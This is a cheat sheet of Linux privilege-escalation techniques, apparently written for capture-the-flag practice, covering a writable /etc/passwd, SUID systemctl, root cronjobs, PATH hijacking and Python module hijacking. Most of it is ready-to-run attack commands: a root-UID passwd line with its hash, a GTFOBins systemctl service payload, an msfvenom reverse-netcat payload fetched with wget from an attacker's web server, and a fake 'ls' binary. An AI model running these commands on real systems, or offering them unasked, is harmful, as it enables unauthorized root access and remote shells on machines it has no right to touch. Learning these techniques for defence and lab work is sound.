Linux Privilege Escalation - Overview

Writable /etc/passwd

Format of /etc/passwd:

user:password_hash:UID:GID:root:/root:/bin/bash

Since the passwords are not stored in plaintext, they first need to be hashed using openssl:

openssl passwd -1 -salt [thesalt] [thepassword]

The line to write into /etc/passwd, with user "new" and password "123":

new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

Systemctl Exploitation

Systemctl is a part of the linux filesystem which interacts with systemd and is responsible for services. Systemctl is sometimes misconfigured, and can be exploited if it has SUID or SUDO privileges.

Find SUID systemctl:

find . -user root -perm /4000

Exploit (from GTFOBins):

TF=$(mktemp).service

echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "id > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF

This creates a temporary service file in /tmp directory. After writing the service configuration:

./systemctl link $TF
./systemctl enable --now $TF

Example to read root flag:

ExecStart=/bin/sh -c "cp /root/root.txt /tmp/rootflag.txt"

Crontab Exploitation

Cronjobs are automated tasks within a Linux system. If a cronjob is run with root privileges and we can write to it, we can leverage these permissions.

Check crontab:

cat /etc/crontab

Format:

#  m   h dom mon dow user  command

Create payload:

msfvenom -p cmd/unix/reverse_netcat lhost=[ip] lport=[port] R > payload_name

Host payload on local webserver:

python3 -m http.server 80

Download payload on target:

cd /tmp
wget http://[ip]/payload_name

Write payload to cronjob:

echo payload > /Documents/scanner.sh

PATH Variable Exploitation

Privilege escalation via exploiting the path variable happens when an attacker can create an "evil twin" of the actual binary and redirect that binary to a malicious imitation.

Check PATH:

echo $PATH

Find writable directories:

find / -writable -type d

Create imitation binary:

echo "/bin/bash" > ls
chmod +x ls

Export to path:

export PATH=/tmp:$PATH

Now when the targeted script runs 'ls', it will execute our payload instead.

Python Module Hijacking

When python scripts are owned by a higher-privileged user and have import statements, these imports can be exploited by creating a directory and file with the same name used in the import statement.

This works because python will check locally for modules before checking in other locations.